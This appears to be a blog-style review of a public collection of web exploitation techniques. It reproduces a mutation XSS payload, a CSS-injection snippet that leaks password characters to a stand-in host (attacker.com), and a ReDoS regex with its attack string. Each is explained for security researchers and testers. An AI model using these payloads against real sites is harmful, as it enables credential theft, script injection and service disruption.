HackVault: A Security Researcher's Personal Arsenal of Web Exploitation Techniques

Hook

While most security tools promise push-button exploitation, the most valuable resource in penetration testing is often a simple collection of working proof-of-concept code that someone actually used in the wild.

Context

The web security landscape has a paradox: we have thousands of automated scanning tools, yet professional penetration testers still maintain personal notebooks of exotic payloads and edge-case exploits. Why? Because real-world vulnerabilities rarely match textbook examples. A WAF might block but crumble against a polyglot payload using UTF-7 encoding. A regex validator might catch obvious SQL injection but miss a carefully crafted Unicode normalization attack.

HackVault emerged from this reality as a public artifact of security research—a developer's decision to open-source their personal collection of web exploitation techniques. Unlike comprehensive frameworks like Metasploit or educational platforms like OWASP WebGoat, it doesn't attempt to be everything to everyone. Instead, it preserves specific attack vectors that worked against real targets, complete with the context of why they bypassed defenses. This makes it particularly valuable for understanding the attacker mindset: not just what vulnerabilities exist, but how creative exploitation actually happens when standard techniques fail.

Technical Insight

HackVault's architecture is deliberately minimal—it's a knowledge repository organized around attack categories rather than a software framework with dependencies and APIs. The JavaScript code snippets exist as standalone demonstrations, each illustrating a specific exploitation technique or bypass method. This design choice reflects a key insight about security research: reusable knowledge matters more than reusable code.

The XSS payload collection demonstrates this philosophy clearly. Rather than providing a payload generator or fuzzing engine, it catalogs specific vectors that circumvent common defenses. For example, one technique exploits the way browsers parse ambiguous HTML contexts:

// Exploiting mutation XSS through innerHTML assignment
var payload = '<noscript><p title="</noscript><img src=x onerror=alert(1)>">';
document.getElementById('target').innerHTML = payload;

// The browser's HTML parser re-interprets the structure:
// 1. Sees <noscript> (disabled when JS is enabled)
// 2. Treats content as raw text until </noscript>
// 3. But innerHTML parsing differs from document parsing
// 4. The <img> tag escapes and executes

This mutation XSS vector works because innerHTML parsing follows different rules than the initial document parser. When JavaScript is enabled, <noscript> tags are supposed to have their content ignored, but the innerHTML parser doesn't fully respect this context shift, allowing the injected image tag to break free and execute. Understanding why this works is more valuable than having it in a payload list.

The tracking techniques section explores similar exploitation patterns, particularly around CSS-based data exfiltration that doesn't require JavaScript execution. One documented approach abuses attribute selectors to leak form data:

/* CSS injection that exfiltrates password characters */
input[name="password"][value^="a"] {
  background: url(https://attacker.com/leak?char=a);
}
input[name="password"][value^="b"] {
  background: url(https://attacker.com/leak?char=b);
}
/* Repeat for all characters... */

When this CSS is injected into a page with a password input that retains its value attribute (common in some frameworks), each character match triggers a background image request to the attacker's server. While impractical for long passwords due to the need for exhaustive character combinations, it demonstrates a critical security principle: CSS is not sandboxed from network access, making content security policies that allow inline styles potentially dangerous.

The regex exploitation examples tackle another common vulnerability class—regular expression denial of service (ReDoS). The repository documents patterns that cause catastrophic backtracking:

// Vulnerable regex pattern (common in URL validators)
const vulnerableRegex = /^(https?:\/\/)?([\da-z\.-]+)\.([a-z\.]{2,6})([\/\w \.-]*)*\/?$/;

// Attack payload: repeated nested groups
const payload = "http://" + "a".repeat(50) + "!";

// Time the execution
console.time('regex');
vulnerableRegex.test(payload);
console.timeEnd('regex'); // May take seconds or hang entirely

The vulnerability lies in the ([\da-z\.-]+) and ([\/\w \.-]*)* groups—nested quantifiers create exponential backtracking possibilities when the regex engine tries to match the payload. For each character that doesn't match the expected pattern, the engine must backtrack through all possible combinations of the repeated groups. With 50 'a' characters, the engine explores 2^50 possible matching paths before determining failure.

What makes HackVault valuable isn't just collecting these techniques, but preserving the context of when they apply. The Wiki documentation explains which browsers, frameworks, or configurations make each attack viable—knowledge that automated scanners can't easily encode.

Gotcha

HackVault's greatest strength—being a curated personal collection—is also its primary limitation. The repository reflects one researcher's focus areas and experiences, which means coverage is inherently incomplete. If you're testing a GraphQL API or exploiting HTTP request smuggling vulnerabilities, you'll find limited relevant material. The techniques documented are valuable but represent a snapshot of web security knowledge from specific points in time, and some payloads may no longer bypass modern security controls.

The Wiki-centric documentation approach creates accessibility challenges. Unlike repositories with comprehensive README files and inline code comments, HackVault requires navigating between the Wiki and code examples to understand full context. There's no standardized format for each entry—some include detailed explanations, others are bare payloads. This works for experienced security researchers who can fill in gaps from domain knowledge, but creates a steeper learning curve for those newer to web exploitation. Additionally, without a clear update cadence or versioning for individual techniques, it's difficult to know which approaches remain effective against current browser versions and security mechanisms versus which are primarily historical curiosities.

Verdict

Use HackVault if you're a penetration tester or security researcher looking for inspiration beyond standard payload lists, need real-world examples of how creative exploitation bypasses common defenses, or want to understand the attacker perspective on specific vulnerability classes like XSS mutations or CSS exfiltration. It's particularly valuable when you've exhausted automated scanner findings and need to think laterally about edge cases. Skip it if you need comprehensive security testing frameworks with automation capabilities, want systematically organized learning materials for security fundamentals, require actively maintained and version-specific exploit code, or are looking for defensive security hardening guides rather than offensive research. Also skip if you're uncomfortable adapting proof-of-concept code to your specific context—this is raw research material, not a point-and-click exploitation toolkit.